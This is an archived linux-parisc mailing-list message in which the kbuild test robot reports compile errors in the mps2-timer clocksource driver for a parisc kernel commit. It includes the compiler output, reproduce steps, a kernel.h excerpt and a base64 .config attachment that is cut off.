<Cpu1> 78000c6201e00000  a0e008c01100b009  CC_PAT_ENCODED_FIELD_WARNING                                                                              
<Cpu1> 76000c6801e00000  0000000000000520  CC_PAT_DATA_FIELD_WARNING                                                                                 
<Cpu1> 0300109101e00000  0000000000000000  CC_PROCS_ENTRY_OUT                                                                                        
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:19 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: kbuild test robot <fengguang.wu@intel.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [hp-parisc:for-next 3/3] include/linux/kernel.h:836:48: error:
 initialization from incompatible pointer type
Date: Wed, 23 Nov 2016 03:56:26 +0800
Lines: 965
Approved: news@gmane.org
Message-ID: <201611230307.WdbCfL22%fengguang.wu@intel.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="IJpNTDwzlM2Ie8A6"
X-Trace: blaine.gmane.org 1479844646 29621 195.159.176.226 (22 Nov 2016 19:57:26 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 22 Nov 2016 19:57:26 +0000 (UTC)
User-Agent: Mutt/1.5.23 (2014-03-12)
Cc: kbuild-all@01.org, linux-parisc@vger.kernel.org
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Nov 22 20:57:21 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1c9HBw-0006Zs-9A
	for glpp-linux-parisc@m.gmane.org; Tue, 22 Nov 2016 20:57:21 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1756234AbcKVT5X (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Tue, 22 Nov 2016 14:57:23 -0500
Original-Received: from mga02.intel.com ([134.134.136.20]:62655 "EHLO mga02.intel.com"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1755963AbcKVT5W (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Tue, 22 Nov 2016 14:57:22 -0500
Original-Received: from orsmga003.jf.intel.com ([10.7.209.27])
  by orsmga101.jf.intel.com with ESMTP; 22 Nov 2016 11:57:20 -0800
X-ExtLoop1: 1
X-IronPort-AV: E=Sophos;i="5.31,682,1473145200"; 
   d="gz'50?scan'50,208,50";a="904467738"
Original-Received: from bee.sh.intel.com (HELO bee) ([10.239.97.14])
  by orsmga003.jf.intel.com with ESMTP; 22 Nov 2016 11:57:12 -0800
Original-Received: from kbuild by bee with local (Exim 4.84_2)
        (envelope-from <fengguang.wu@intel.com>)
        id 1c9HCZ-000Wgu-G8; Wed, 23 Nov 2016 03:57:59 +0800
Content-Disposition: inline
X-SA-Exim-Connect-IP: <locally generated>
X-SA-Exim-Mail-From: fengguang.wu@intel.com
X-SA-Exim-Scanned: No (on bee); SAEximRunCond expanded to false
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27067
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27067>


--IJpNTDwzlM2Ie8A6
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline

tree:   https://git.kernel.org/pub/scm/linux/kernel/git/deller/parisc-linux.git for-next
head:   4dafeb82a4b7ccfa25c7517d09832be488994c28
commit: 4dafeb82a4b7ccfa25c7517d09832be488994c28 [3/3] parisc: Switch to GENERIC_SCHED_CLOCK implementation
config: parisc-allyesconfig (attached as .config)
compiler: hppa-linux-gnu-gcc (Debian 6.1.1-9) 6.1.1 20160705
reproduce:
        wget https://git.kernel.org/cgit/linux/kernel/git/wfg/lkp-tests.git/plain/sbin/make.cross -O ~/bin/make.cross
        chmod +x ~/bin/make.cross
        git checkout 4dafeb82a4b7ccfa25c7517d09832be488994c28
        # save the attached .config to linux build tree
        make.cross ARCH=parisc 

All error/warnings (new ones prefixed by >>):

>> drivers/clocksource/mps2-timer.c:38:28: error: field 'clkevt' has incomplete type
     struct clock_event_device clkevt;
                               ^~~~~~
   In file included from include/linux/clk.h:16:0,
                    from drivers/clocksource/mps2-timer.c:14:
   drivers/clocksource/mps2-timer.c: In function 'to_mps2_clkevt':
>> include/linux/kernel.h:836:48: error: initialization from incompatible pointer type [-Werror=incompatible-pointer-types]
     const typeof( ((type *)0)->member ) *__mptr = (ptr); \
                                                   ^
>> drivers/clocksource/mps2-timer.c:50:9: note: in expansion of macro 'container_of'
     return container_of(c, struct clockevent_mps2, clkevt);
            ^~~~~~~~~~~~
   drivers/clocksource/mps2-timer.c: In function 'mps2_clockevent_init':
>> drivers/clocksource/mps2-timer.c:154:24: error: 'CLOCK_EVT_FEAT_PERIODIC' undeclared (first use in this function)
     ce->clkevt.features = CLOCK_EVT_FEAT_PERIODIC | CLOCK_EVT_FEAT_ONESHOT;
                           ^~~~~~~~~~~~~~~~~~~~~~~
   drivers/clocksource/mps2-timer.c:154:24: note: each undeclared identifier is reported only once for each function it appears in
>> drivers/clocksource/mps2-timer.c:154:50: error: 'CLOCK_EVT_FEAT_ONESHOT' undeclared (first use in this function)
     ce->clkevt.features = CLOCK_EVT_FEAT_PERIODIC | CLOCK_EVT_FEAT_ONESHOT;
                                                     ^~~~~~~~~~~~~~~~~~~~~~
   drivers/clocksource/mps2-timer.c:156:53: warning: left-hand operand of comma expression has no effect [-Wunused-value]
     ce->clkevt.set_state_shutdown = mps2_timer_shutdown,
                                                        ^
   drivers/clocksource/mps2-timer.c:157:57: warning: left-hand operand of comma expression has no effect [-Wunused-value]
     ce->clkevt.set_state_periodic = mps2_timer_set_periodic,
                                                            ^
   drivers/clocksource/mps2-timer.c:158:52: warning: left-hand operand of comma expression has no effect [-Wunused-value]
     ce->clkevt.set_state_oneshot = mps2_timer_shutdown,
                                                       ^
>> drivers/clocksource/mps2-timer.c:170:2: error: implicit declaration of function 'clockevents_config_and_register' [-Werror=implicit-function-declaration]
     clockevents_config_and_register(&ce->clkevt, rate, 0xf, 0xffffffff);
     ^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
   cc1: some warnings being treated as errors

vim +836 include/linux/kernel.h

^1da177e Linus Torvalds 2005-04-16  830   * @ptr:	the pointer to the member.
^1da177e Linus Torvalds 2005-04-16  831   * @type:	the type of the container struct this is embedded in.
^1da177e Linus Torvalds 2005-04-16  832   * @member:	the name of the member within the struct.
^1da177e Linus Torvalds 2005-04-16  833   *
^1da177e Linus Torvalds 2005-04-16  834   */
^1da177e Linus Torvalds 2005-04-16  835  #define container_of(ptr, type, member) ({			\
^1da177e Linus Torvalds 2005-04-16 @836  	const typeof( ((type *)0)->member ) *__mptr = (ptr);	\
^1da177e Linus Torvalds 2005-04-16  837  	(type *)( (char *)__mptr - offsetof(type,member) );})
^1da177e Linus Torvalds 2005-04-16  838  
b9d4f426 Arnaud Lacombe 2011-07-25  839  /* Rebuild everything on CONFIG_FTRACE_MCOUNT_RECORD */

:::::: The code at line 836 was first introduced by commit
:::::: 1da177e4c3f41524e886b7f1b8a0c1fc7321cac2 Linux-2.6.12-rc2

:::::: TO: Linus Torvalds <torvalds@ppc970.osdl.org>
:::::: CC: Linus Torvalds <torvalds@ppc970.osdl.org>

---
0-DAY kernel test infrastructure                Open Source Technology Center
https://lists.01.org/pipermail/kbuild-all                   Intel Corporation

--IJpNTDwzlM2Ie8A6
Content-Type: application/gzip
Content-Disposition: attachment; filename=".config.gz"
Content-Transfer-Encoding: base64

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
